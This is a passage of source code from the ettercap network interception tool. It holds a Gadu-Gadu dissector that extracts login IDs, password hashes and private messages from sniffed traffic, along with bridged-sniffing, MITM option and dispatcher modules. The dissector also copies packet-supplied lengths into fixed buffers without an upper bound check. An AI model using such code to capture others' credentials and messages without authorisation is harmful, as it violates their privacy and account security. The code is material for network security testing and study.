0x00 */ u_int8 local_ip[4]; u_int16 local_port; u_int8 remote_ip[4]; u_int16 remote_port; u_int8 image_size; u_int8 unknown5; /* 0xbe */ char description[71]; /* 70+1 (0x0) */ u_int32 time; }__attribute__ ((packed)); struct gg_send_msg_hdr { u_int32 recipient; u_int32 seq; u_int32 class; char message[2000]; }__attribute__ ((packed)); struct gg_recv_msg_hdr { u_int32 sender; u_int32 seq; u_int32 time; u_int32 class; char message[2000]; }__attribute__ ((packed)); struct gg_new_status_hdr { u_int32 status; char description[71]; /* 70+1 (0x0) */ u_int32 time; }; struct gg_status_hdr { u_int32 uin; u_int32 status; char description[71]; /* 70+1 (0x0) */ u_int32 time; }; struct gg_status50_hdr { u_int32 uin; u_int32 status; u_int8 remote_ip[4]; u_int16 remote_port; u_int32 version; u_int16 unknown1; /* remote port again? */ char description[71]; /* 70+1 (0x0) */ u_int32 time; }__attribute__ ((packed)); struct gg_status60_hdr { u_int32 uin; u_int8 status; u_int8 remote_ip[4]; u_int16 remote_port; u_int8 version; u_int8 image_size; u_int8 unknown1; /* 0x00 */ char description[71]; /* 70+1 (0x0) */ u_int32 time; }__attribute__ ((packed));; struct gg_status70_hdr { u_int32 uin; u_int8 status; u_int8 remote_ip[4]; u_int16 remote_port; u_int8 version; u_int8 image_size; u_int8 unknown1; /* 0x00 */ u_int32 unknown2; /* 0x00 */ char description[71]; /* 70+1 (0x0) */ u_int32 time; }__attribute__ ((packed));; /* protos */ FUNC_DECODER(dissector_gg); void gg_init(void); void gg_get_status(u_int32 status, char *str); void gg_get_version(u_int32 version, char *str); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init gg_init(void) { dissect_add("gg", APP_LAYER_TCP, 8074, dissector_gg); /* dissect_add("gg", APP_LAYER_TCP, 443, dissector_gg); */ } FUNC_DECODER(dissector_gg) { DECLARE_DISP_PTR_END(ptr, end); char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; struct gg_hdr *gg; struct gg_welcome_hdr *gg_welcome; struct gg_login50_hdr *gg_login50; struct gg_login60_hdr *gg_login60; struct gg_login70_hdr *gg_login70; struct gg_send_msg_hdr *gg_send_msg; struct gg_recv_msg_hdr *gg_recv_msg; struct gg_new_status_hdr *gg_new_status; char *tbuf, *tbuf2, *tbuf3; char user[10], pass[40]; /* don't complain about unused var */ (void)end; (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; /* cast the gg header */ gg = (struct gg_hdr *)ptr; gg_login50 = (struct gg_login50_hdr *)(gg + 1); gg_login60 = (struct gg_login60_hdr *)(gg + 1); gg_login70 = (struct gg_login70_hdr *)(gg + 1); gg_welcome = (struct gg_welcome_hdr *)(gg + 1); gg_send_msg = (struct gg_send_msg_hdr *)(gg + 1); gg_recv_msg = (struct gg_recv_msg_hdr *)(gg + 1); gg_new_status = (struct gg_new_status_hdr *)(gg + 1); /* what type of packets do we process ? */ if (gg->type != GG_LOGIN50_CMD && gg->type != GG_LOGIN60_CMD && gg->type != GG_LOGIN70_CMD && gg->type != GG_WELCOME_CMD && gg->type != GG_SEND_MSG_CMD && gg->type != GG_RECV_MSG_CMD && gg->type != GG_NEW_STATUS_CMD && gg->type != GG_STATUS_CMD && gg->type != GG_STATUS50_CMD && gg->type != GG_STATUS60_CMD && gg->type != GG_STATUS70_CMD) return NULL; /* skip incorrect Gadu-Gadu packets */ if ((gg->len) != ((PACKET->DATA.len)-8)) return NULL; DEBUG_MSG("Gadu-Gadu --> TCP dissector_gg (%.8X:%.8X)", gg->type, gg->len); SAFE_CALLOC(tbuf, 50, sizeof(char)); SAFE_CALLOC(tbuf2, 71, sizeof(char)); SAFE_CALLOC(tbuf3, 30, sizeof(char)); if ((gg->type == GG_LOGIN50_CMD) && !FROM_SERVER("gg", PACKET)) { gg_get_status(gg_login50->status,tbuf); gg_get_version(gg_login50->version,tbuf3); if ((int)gg->len-22 < 0) return NULL; strncpy(tbuf2,gg_login50->description, (gg->len)-22); tbuf2[(gg->len)-22]='\0'; sprintf(user,"%u",gg_login50->uin); PACKET->DISSECTOR.user = strdup(user); sprintf(pass,"%u",gg_login50->hash); PACKET->DISSECTOR.pass = strdup(pass); DISSECT_MSG("GG4/5 : %s:%d -> %s:%d - LOGIN UIN: %u PWD_HASH: 0x%.8X (%u) STATUS: %s (%s) VERSION: %s LIP: %u.%u.%u.%u:%u\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp2), ntohs(PACKET->L4.dst), gg_login50->uin, gg_login50->hash, gg_login50->hash, tbuf2, tbuf, tbuf3, gg_login50->local_ip[0], gg_login50->local_ip[1], gg_login50->local_ip[2], gg_login50->local_ip[3], gg_login50->local_port); } else if (gg->type == GG_LOGIN60_CMD) { gg_get_status(gg_login60->status,tbuf); gg_get_version(gg_login60->version,tbuf3); if ((int)gg->len-31 < 0) return NULL; strncpy(tbuf2,gg_login60->description, (gg->len)-31); tbuf2[(gg->len)-31]='\0'; sprintf(user,"%u",gg_login60->uin); PACKET->DISSECTOR.user = strdup(user); sprintf(pass,"%u",gg_login60->hash); PACKET->DISSECTOR.pass = strdup(pass); DISSECT_MSG("GG6 : %s:%d -> %s:%d - LOGIN UIN: %u PWD_HASH: 0x%.8X (%u) STATUS: %s (%s) VERSION: %s LIP: %u.%u.%u.%u:%u RIP: %u.%u.%u.%u:%u\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp2), ntohs(PACKET->L4.dst), gg_login60->uin, gg_login60->hash, gg_login60->hash, tbuf2, tbuf, tbuf3, gg_login60->local_ip[0], gg_login60->local_ip[1], gg_login60->local_ip[2], gg_login60->local_ip[3], gg_login60->local_port, gg_login60->remote_ip[0], gg_login60->remote_ip[1], gg_login60->remote_ip[2], gg_login60->remote_ip[3], gg_login60->remote_port); } else if (gg->type == GG_LOGIN70_CMD) { gg_get_status(gg_login70->status,tbuf); gg_get_version(gg_login70->version,tbuf3); if ((int)gg->len-92 < 0) return NULL; strncpy(tbuf2,gg_login70->description, (gg->len)-92); tbuf2[(gg->len)-92]='\0'; sprintf(user,"%u",gg_login70->uin); PACKET->DISSECTOR.user = strdup(user); sprintf(pass,"%X%X%X%X%X",gg_login70->hash[0],gg_login70->hash[1],gg_login70->hash[2],gg_login70->hash[3],gg_login70->hash[4]); PACKET->DISSECTOR.pass = strdup(pass); DISSECT_MSG("GG7 : %s:%d -> %s:%d - LOGIN UIN: %u PWD_HASH: 0x%.8X%.8X%.8X%.8X%.8X STATUS: %s (%s) VERSION: %s LIP: %u.%u.%u.%u:%u RIP: %u.%u.%u.%u:%u\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp2), ntohs(PACKET->L4.dst), gg_login70->uin, gg_login70->hash[4],gg_login70->hash[3],gg_login70->hash[2],gg_login70->hash[1],gg_login70->hash[0], tbuf2, tbuf, tbuf3, gg_login70->local_ip[0], gg_login70->local_ip[1], gg_login70->local_ip[2], gg_login70->local_ip[3], gg_login70->local_port, gg_login70->remote_ip[0], gg_login70->remote_ip[1], gg_login70->remote_ip[2], gg_login70->remote_ip[3], gg_login70->remote_port); } else if (gg->type == GG_SEND_MSG_CMD) { if (!FROM_SERVER("gg", PACKET)) { DISSECT_MSG("GG : %s:%d -> %s:%d - SEND_MSG RECIPIENT: %u MESSAGE: \"%s\"\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp2), ntohs(PACKET->L4.dst), gg_send_msg->recipient, gg_send_msg->message); } } else if (gg->type == GG_RECV_MSG_CMD) { DISSECT_MSG("GG : %s:%d -> %s:%d - RECV_MSG SENDER: %u MESSAGE: \"%s\"\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp2), ntohs(PACKET->L4.dst), gg_recv_msg->sender, gg_recv_msg->message); } else if (gg->type == GG_WELCOME_CMD) { DISSECT_MSG("GG : %s:%d -> %s:%d - WELCOME SEED: 0x%.8X (%u)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp2), ntohs(PACKET->L4.dst), gg_welcome->seed, gg_welcome->seed); } #ifdef GG_CONTACTS_STATUS_CHANGES else if ((gg->type == GG_STATUS_CMD) && FROM_SERVER("gg", PACKET)) { gg_get_status(gg_status->status,tbuf); if ((int)gg->len-8 < 0) return NULL; strncpy(tbuf2,gg_status->description, (gg->len)-8); tbuf2[(gg->len)-8]='\0'; DISSECT_MSG("GG : %s:%d -> %s:%d - STATUS CHANGED UIN: %u STATUS: %s (%s)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp2), ntohs(PACKET->L4.dst), gg_status->uin, tbuf2, tbuf); } #endif else if ((gg->type == GG_NEW_STATUS_CMD) && !FROM_SERVER("gg", PACKET)) { gg_get_status(gg_new_status->status,tbuf); if ((int)gg->len-4 < 0) return NULL; strncpy(tbuf2,gg_new_status->description, (gg->len)-4); tbuf2[(gg->len)-4]='\0'; DISSECT_MSG("GG : %s:%d -> %s:%d - NEW STATUS STATUS: %s (%s)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp2), ntohs(PACKET->L4.dst), tbuf2, tbuf); } #ifdef GG_CONTACTS_STATUS_CHANGES else if ((gg->type == GG_STATUS50_CMD) && FROM_SERVER("gg", PACKET)) { gg_get_status(gg_status50->status,tbuf); gg_get_version(gg_status50->version,tbuf3); if ((int)gg->len-20 < 0) return NULL; strncpy(tbuf2,gg_status50->description, (gg->len)-20); tbuf2[(gg->len)-20]='\0'; DISSECT_MSG("GG4/5 : %s:%d -> %s:%d - STATUS CHANGED UIN: %u STATUS: %s (%s) VERSION: %s RIP: %u.%u.%u.%u:%u\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp2), ntohs(PACKET->L4.dst), gg_status50->uin, tbuf2, tbuf, tbuf3, gg_status50->remote_ip[0], gg_status50->remote_ip[1], gg_status50->remote_ip[2], gg_status50->remote_ip[3], gg_status50->remote_port); } else if (gg->type == GG_STATUS60_CMD) { gg_get_status(gg_status60->status,tbuf); gg_get_version(gg_status60->version,tbuf3); if ((int)gg->len-14 < 0) return NULL; strncpy(tbuf2,gg_status60->description, (gg->len)-14); tbuf2[(gg->len)-14]='\0'; DISSECT_MSG("GG6 : %s:%d -> %s:%d - STATUS CHANGED UIN: %u STATUS: %s (%s) VERSION: %s RIP: %u.%u.%u.%u:%u\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp2), ntohs(PACKET->L4.dst), (gg_status60->uin & 0x00ffffff), tbuf2, tbuf, tbuf3, gg_status60->remote_ip[0], gg_status60->remote_ip[1], gg_status60->remote_ip[2], gg_status60->remote_ip[3], gg_status60->remote_port); } else if (gg->type == GG_STATUS70_CMD) { gg_get_status(gg_status70->status,tbuf); if ((int)gg->len-18 < 0) return NULL; gg_get_version(gg_status70->version,tbuf3); strncpy(tbuf2,gg_status70->description, (gg->len)-18); tbuf2[(gg->len)-18]='\0'; DISSECT_MSG("GG7 : %s:%d -> %s:%d - STATUS CHANGED UIN: %u STATUS: %s (%s) VERSION: %s RIP: %u.%u.%u.%u:%u\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp2), ntohs(PACKET->L4.dst), (gg_status70->uin & 0x00ffffff), tbuf2, tbuf, tbuf3, gg_status70->remote_ip[0], gg_status70->remote_ip[1], gg_status70->remote_ip[2], gg_status70->remote_ip[3], gg_status70->remote_port); } #endif /* else { DISSECT_MSG("GG : %s:%d -> %s:%d - CMD TYPE: %.8X (%d) LEN: %.8X (%d) DLEN: %d\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), ip_addr_ntoa(&PACKET->L3.dst, tmp2), ntohs(PACKET->L4.dst), gg->type, gg->type, gg->len, gg->len, PACKET->DATA.len); } */ SAFE_FREE(tbuf); SAFE_FREE(tbuf2); SAFE_FREE(tbuf3); return NULL; } void gg_get_status(u_int32 status, char *str) { switch ((status&0x00ff)) { case 0x0014: strcpy(str,"invisible"); break; case 0x0002: strcpy(str,"available"); break; case 0x0003: strcpy(str,"busy"); break; case 0x0006: strcpy(str,"blocked"); break; case 0x0001: strcpy(str,"not available"); break; case 0x0016: strcpy(str,"invisible + descr"); break; case 0x0004: strcpy(str,"available + descr"); break; case 0x0005: strcpy(str,"busy + descr"); break; case 0x0015: strcpy(str,"not available + descr"); break; default: strcpy(str,"unknown"); } if ((status&0xff00)==0x8000) strcat(str," + private"); } void gg_get_version(u_int32 version, char *str) { switch ((version&0x00ff)) { case 0x0000002A: strcpy(str,"7.7"); break; case 0x00000029: strcpy(str,"7.6"); break; case 0x00000024: strcpy(str,"6.1/7.6"); break; case 0x00000028: strcpy(str,"7.5"); break; case 0x00000027: case 0x00000026: case 0x00000025: strcpy(str,"7.0"); break; case 0x00000022: case 0x00000021: case 0x00000020: strcpy(str,"6.0"); break; case 0x0000001E: case 0x0000001C: strcpy(str,"5.7"); break; case 0x0000001B: case 0x00000019: strcpy(str,"5.0"); break; case 0x00000018: strcpy(str,"5.0/4.9"); break; case 0x00000017: case 0x00000016: strcpy(str,"4.9"); break; case 0x00000015: case 0x00000014: strcpy(str,"4.8"); break; case 0x00000011: strcpy(str,"4.6"); break; case 0x00000010: case 0x0000000f: strcpy(str,"4.5"); break; case 0x0000000b: strcpy(str,"4.0"); break; default: sprintf(str,"unknown (0x%X)",version); } if ((version&0xf0000000)==0x40000000) strcat(str," + has audio"); if ((version&0x0f000000)== 0x04000000) strcat(str," + eraomnix"); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_sniff_bridge.c0000644000175000017500000001343713505247364017227 0ustar koeppeakoeppea/* ettercap -- bridged sniffing method module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include struct origin_mac_table { u_int8 mac[MEDIA_ADDR_LEN]; LIST_ENTRY(origin_mac_table) next; }; static LIST_HEAD(, origin_mac_table) iface_origin_table; static LIST_HEAD(, origin_mac_table) bridge_origin_table; /* proto */ void start_bridge_sniff(void); void stop_bridge_sniff(void); void forward_bridge_sniff(struct packet_object *po); void bridge_check_forwarded(struct packet_object *po); void bridge_set_forwardable(struct packet_object *po); /*******************************************/ void start_bridge_sniff(void) { DEBUG_MSG("start_bridge_sniff"); if (EC_GBL_SNIFF->active == 1) { USER_MSG("Bridged sniffing already started...\n"); return; } USER_MSG("Starting Bridged sniffing...\n\n"); /* create the timeouter thread */ if (!EC_GBL_OPTIONS->read) { pthread_t pid; pid = ec_thread_getpid("timer"); if (pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_new("timer", "conntrack timeouter", &conntrack_timeouter, NULL); } /* create the thread for packet capture */ capture_start(EC_GBL_IFACE); /* create the thread for packet capture on the bridged interface */ capture_start(EC_GBL_BRIDGE); EC_GBL_SNIFF->active = 1; } /* * kill the capturing threads, but leave untouched the others */ void stop_bridge_sniff(void) { DEBUG_MSG("stop_bridge_sniff"); if (EC_GBL_SNIFF->active == 0) { USER_MSG("Bridged sniffing is not running...\n"); return; } /* kill it */ capture_stop(EC_GBL_IFACE); capture_stop(EC_GBL_BRIDGE); USER_MSG("Bridged sniffing was stopped.\n"); EC_GBL_SNIFF->active = 0; } void forward_bridge_sniff(struct packet_object *po) { /* don't forward dropped packets */ if (po->flags & PO_DROPPED) return; /* * If the filters modified the packet len * recalculate it (only if some L3 decoder parsed it). */ if (po->fwd_packet) po->len = po->L2.len + po->fwd_len; /* * send the packet to the other interface. * the socket was opened during the initialization * phase (parameters parsing) by bridge_init() */ if (po->flags & PO_FROMIFACE) send_to_bridge(po); else if (po->flags & PO_FROMBRIDGE) send_to_L2(po); } /* * keep a list of source mac addresses for each interface. * each list will contain mac address coming form an host connected * on the iface. * we can determine if a packet is forwarded or not searching it in * the lists. */ void bridge_check_forwarded(struct packet_object *po) { struct origin_mac_table *omt; u_char tmp[MAX_ASCII_ADDR_LEN]; /* avoid gcc complaining for unused var */ (void)tmp; if (po->flags & PO_FROMIFACE) { /* search the mac in the iface table */ LIST_FOREACH(omt, &iface_origin_table, next) if (!memcmp(omt->mac, po->L2.src, MEDIA_ADDR_LEN)) return; /* * now search it in the opposite table * if it was registered there, the packet is forwarded */ LIST_FOREACH(omt, &bridge_origin_table, next) if (!memcmp(omt->mac, po->L2.src, MEDIA_ADDR_LEN)) { po->flags |= PO_FORWARDED; return; } } if (po->flags & PO_FROMBRIDGE) { /* search the mac in the bridge table */ LIST_FOREACH(omt, &bridge_origin_table, next) if (!memcmp(omt->mac, po->L2.src, MEDIA_ADDR_LEN)) return; /* * now search it in the opposite table * if it was registered there, the packet is forwarded */ LIST_FOREACH(omt, &iface_origin_table, next) if (!memcmp(omt->mac, po->L2.src, MEDIA_ADDR_LEN)) { po->flags |= PO_FORWARDED; return; } } /* allocate a new entry for the newly discovered mac address */ SAFE_CALLOC(omt, 1, sizeof(struct origin_mac_table)); memcpy(omt->mac, po->L2.src, MEDIA_ADDR_LEN); /* insert the new mac address in the proper list */ if (po->flags & PO_FROMIFACE) { DEBUG_MSG("Added the mac [%s] to IFACE table", mac_addr_ntoa(po->L2.src, tmp)); LIST_INSERT_HEAD(&iface_origin_table, omt, next); } if (po->flags & PO_FROMBRIDGE) { DEBUG_MSG("Added the mac [%s] to BRIDGE table", mac_addr_ntoa(po->L2.src, tmp)); LIST_INSERT_HEAD(&bridge_origin_table, omt, next); } } /* * in bridged sniffing all the packet must be forwarded * on the other iface */ void bridge_set_forwardable(struct packet_object *po) { /* If for us on the iface */ if ( !memcmp(EC_GBL_IFACE->mac, po->L2.src, MEDIA_ADDR_LEN) || !memcmp(EC_GBL_IFACE->mac, po->L2.dst, MEDIA_ADDR_LEN) ) return; /* If for us on the bridge */ if ( !memcmp(EC_GBL_BRIDGE->mac, po->L2.src, MEDIA_ADDR_LEN) || !memcmp(EC_GBL_BRIDGE->mac, po->L2.dst, MEDIA_ADDR_LEN) ) return; /* in bridged sniffing all the packet have to be forwarded */ po->flags |= PO_FORWARDABLE; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_interfaces.c0000644000175000017500000000363513505247364016730 0ustar koeppeakoeppea/* ettercap -- GUI management Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #ifdef HAVE_NCURSES #include #endif #include #if defined HAVE_GTK || defined HAVE_GTK3COMPAT #include #endif #if defined HAVE_GTK3 #include #endif #include /*******************************************/ void select_daemon_interface(void) { DEBUG_MSG("select_daemon_interface"); set_daemon_interface(); } void select_text_interface(void) { DEBUG_MSG("select_text_interface"); set_text_interface(); } void select_curses_interface(void) { DEBUG_MSG("select_curses_interface"); #ifdef HAVE_NCURSES /* check if the stdout is available */ if (isatty(fileno(stdout)) <= 0) FATAL_ERROR("Cannot use Curses if stdout is redirected"); set_curses_interface(); #else FATAL_ERROR("Curses support not compiled in %s", EC_GBL_PROGRAM); #endif } void select_gtk_interface(void) { DEBUG_MSG("select_gtk_interface"); #if defined HAVE_GTK || defined HAVE_GTK3 || defined HAVE_GTK3COMPAT set_gtk_interface(); #else FATAL_ERROR("GTK support is not compiled in %s", EC_GBL_PROGRAM); #endif } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_set.c0000644000175000017500000001234513505247364015376 0ustar koeppeakoeppea/* ettercap -- Set functions, for library and UI support Copyright (C) Ettercap Development Team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #include #include #ifdef HAVE_EC_LUA #include #endif #include /* set functions */ void set_mitm(char *mitm) { EC_GBL_OPTIONS->mitm = 1; if(mitm_set(mitm) != E_SUCCESS) FATAL_ERROR("MiTM method '%s' not supported...\n", mitm); } void set_onlymitm(void) { EC_GBL_OPTIONS->only_mitm = 1; } void set_broadcast(void) { EC_GBL_OPTIONS->broadcast = 1; } void set_iface_bridge(char *iface) { EC_GBL_OPTIONS->iface_bridge = strdup(iface); set_bridge_sniff(); } void set_promisc(void) { EC_GBL_PCAP->promisc = 0; } void set_reversed(void) { EC_GBL_OPTIONS->reversed = 1; } void set_plugin(char *name) { struct plugin_list *plugin; if(!strcasecmp(name, "list")) { plugin_list(); clean_exit(0); } SAFE_CALLOC(plugin, 1, sizeof(struct plugin_list)); plugin->name = strdup(name); plugin->exists = true; LIST_INSERT_HEAD(&EC_GBL_OPTIONS->plugins, plugin, next); } void set_proto(char *proto) { EC_GBL_OPTIONS->proto = strdup(proto); } void set_iface(char *iface) { EC_GBL_OPTIONS->iface = strdup(iface); } void set_lifaces(void) { #ifndef JUST_LIBRARY EC_GBL_OPTIONS->lifaces = 1; #endif } void set_secondary(char *iface) { EC_GBL_OPTIONS->secondary = parse_iflist(iface); } void set_netmask(char *netmask) { EC_GBL_OPTIONS->netmask = strdup(netmask); } void set_address(char *address) { EC_GBL_OPTIONS->address = strdup(address); } void set_read_pcap(char *pcap_file) { /* we don't want to scan th eLAN while reading from file */ EC_GBL_OPTIONS->silent = 1; EC_GBL_OPTIONS->read = 1; EC_GBL_OPTIONS->pcapfile_in = strdup(pcap_file); } void set_write_pcap(char *pcap_file) { EC_GBL_OPTIONS->write = 1; EC_GBL_OPTIONS->pcapfile_out = strdup(pcap_file); } void set_pcap_filter(char *filter) { EC_GBL_PCAP->filter = strdup(filter); } void set_filter(char *end, const char *filter) { uint8_t f_enabled = 1; if ( (end-filter >=2) && *(end-2) == ':') { *(end-2) = '\0'; f_enabled = !( *(end-1) == '0' ); } if (filter_load_file(filter, EC_GBL_FILTERS, f_enabled) != E_SUCCESS) FATAL_ERROR("Cannot load filter file \"%s\"", filter); } void set_loglevel_packet(char *arg) { if (set_loglevel(LOG_PACKET, arg) == -E_FATAL) clean_exit(-E_FATAL); } void set_loglevel_info(char *arg) { if (set_loglevel(LOG_INFO, arg) == -E_FATAL) clean_exit(-E_FATAL); } void set_loglevel_true(char *arg) { if (set_msg_loglevel(LOG_TRUE, arg) == -E_FATAL) clean_exit(-E_FATAL); } void set_compress(void) { EC_GBL_OPTIONS->compress = 1; } void opt_set_regex(char *regex) { if (set_regex(regex) == -E_FATAL) clean_exit(-E_FATAL); } void set_superquiet() { EC_GBL_OPTIONS->superquiet = 1; } void set_quiet(void) { EC_GBL_OPTIONS->quiet = 1; } void set_script(char *script) { EC_GBL_OPTIONS->script = strdup(script); } void set_silent(void) { EC_GBL_OPTIONS->silent = 1; } #ifdef WITH_IPV6 void set_ip6scan(void) { EC_GBL_OPTIONS->ip6scan = 1; } #endif void set_unoffensive(void) { EC_GBL_OPTIONS->unoffensive = 1; } void disable_sslmitm(void) { EC_GBL_OPTIONS->ssl_mitm = 0; } void set_resolve(void) { EC_GBL_OPTIONS->resolve = 1; resolv_thread_init(); atexit(resolv_thread_fini); } void set_load_hosts(char *file) { EC_GBL_OPTIONS->silent = 1; EC_GBL_OPTIONS->load_hosts = 1; EC_GBL_OPTIONS->hostsfile = strdup(file); } void set_save_hosts(char *file) { EC_GBL_OPTIONS->save_hosts = 1; EC_GBL_OPTIONS->hostsfile = strdup(file); } void opt_set_format(char *format) { if (set_format(format) != E_SUCCESS) clean_exit(-E_FATAL); } void set_ext_headers(void) { EC_GBL_OPTIONS->ext_headers = 1; } void set_wifi_key(char *key) { wifi_key_prepare(key); } void set_conf_file(char *file) { EC_GBL_CONF->file = strdup(file); } void set_ssl_cert(char *cert) { EC_GBL_OPTIONS->ssl_cert = strdup(cert); } void set_ssl_key(char *key) { EC_GBL_OPTIONS->ssl_pkey = strdup(key); } #ifdef HAVE_EC_LUA void set_lua_args(char *args) { ec_lua_cli_add_args(strdup(args)); } void set_lua_script(char *script) { ec_lua_cli_add_script(strdup(script)); } #endif void set_target_target1(char *target1) { EC_GBL_OPTIONS->target1 = strdup(target1); } void set_target_target2(char *target2) { EC_GBL_OPTIONS->target2 = strdup(target2); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_dispatcher.c0000644000175000017500000001105613505247364016727 0ustar koeppeakoeppea/* ettercap -- top half and dispatching module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* this is the PO queue from bottom to top half */ struct po_queue_entry { struct packet_object *po; STAILQ_ENTRY(po_queue_entry) next; }; static STAILQ_HEAD(, po_queue_entry) po_queue = STAILQ_HEAD_INITIALIZER(po_queue); /* global mutex on interface */ static pthread_mutex_t po_mutex = PTHREAD_MUTEX_INITIALIZER; #define PO_QUEUE_LOCK do{ pthread_mutex_lock(&po_mutex); }while(0) #define PO_QUEUE_UNLOCK do{ pthread_mutex_unlock(&po_mutex); }while(0) /* proto */ void top_half_queue_add(struct packet_object *po); EC_THREAD_FUNC(top_half); /*******************************************/ /* * top half function * it is the dispatcher for the various methods * which need to process packet objects * created by the bottom_half (capture). * it read the queue created by top_half_queue_add() * and deliver the po to all the registered functions */ EC_THREAD_FUNC(top_half) { struct po_queue_entry *e; u_int pck_len; /* variable not used */ (void) EC_THREAD_PARAM; /* initialize the thread */ ec_thread_init(); DEBUG_MSG("top_half activated !"); /* * we don't want profiles in memory. * remove the hooks and return */ if (!EC_GBL_CONF->store_profiles) { DEBUG_MSG("top_half: profile collection disabled"); hook_del(HOOK_PACKET_ARP, &profile_parse); hook_del(HOOK_PACKET_ICMP, &profile_parse); hook_del(HOOK_PROTO_DHCP_PROFILE, &profile_parse); hook_del(HOOK_DISPATCHER, &profile_parse); } LOOP { CANCELLATION_POINT(); /* the queue is updated by other thread, lock it */ PO_QUEUE_LOCK; /* get the first element */ e = STAILQ_FIRST(&po_queue); /* the queue is empty, nothing to do... */ if (e == NULL) { PO_QUEUE_UNLOCK; ec_usleep(1); // 1µs continue; } /* start the counter for the TopHalf */ stats_half_start(&EC_GBL_STATS->th); /* remove the packet form the queue */ STAILQ_REMOVE_HEAD(&po_queue, e, next); /* update the queue stats */ stats_queue_del(); /* * we have extracted the element, unlock the queue * * the bottom half MUST be very fast and it cannot * wait on the top half lock. */ PO_QUEUE_UNLOCK; /* * check if it is the last packet of a file... * and exit if we are in text only or demonize mode */ if (e->po->flags & PO_EOF) { DEBUG_MSG("End of dump file..."); USER_MSG("\nEnd of dump file...\n"); if ((EC_GBL_UI->type == UI_TEXT || EC_GBL_UI->type == UI_DAEMONIZE) && EC_GBL_CONF->close_on_eof) clean_exit(0); else { SAFE_FREE(e); continue; } } /* HOOK_POINT: DISPATCHER */ hook_point(HOOK_DISPATCHER, e->po); /* save the len before the free() */ pck_len = e->po->DATA.disp_len; /* destroy the duplicate packet object */ packet_destroy_object(e->po); SAFE_FREE(e->po); SAFE_FREE(e); /* start the counter for the TopHalf */ stats_half_end(&EC_GBL_STATS->th, pck_len); } return NULL; } /* * add a packet to the top half queue. * this fuction is called by the bottom half thread */ void top_half_queue_add(struct packet_object *po) { struct po_queue_entry *e; SAFE_CALLOC(e, 1, sizeof(struct po_queue_entry)); e->po = packet_dup(po, PO_DUP_NONE); PO_QUEUE_LOCK; /* add the message to the queue */ STAILQ_INSERT_TAIL(&po_queue, e, next); /* update the stats */ stats_queue_add(); PO_QUEUE_UNLOCK; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_session.c0000644000175000017500000001445113505247364016266 0ustar koeppeakoeppea/* ettercap -- session management Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the 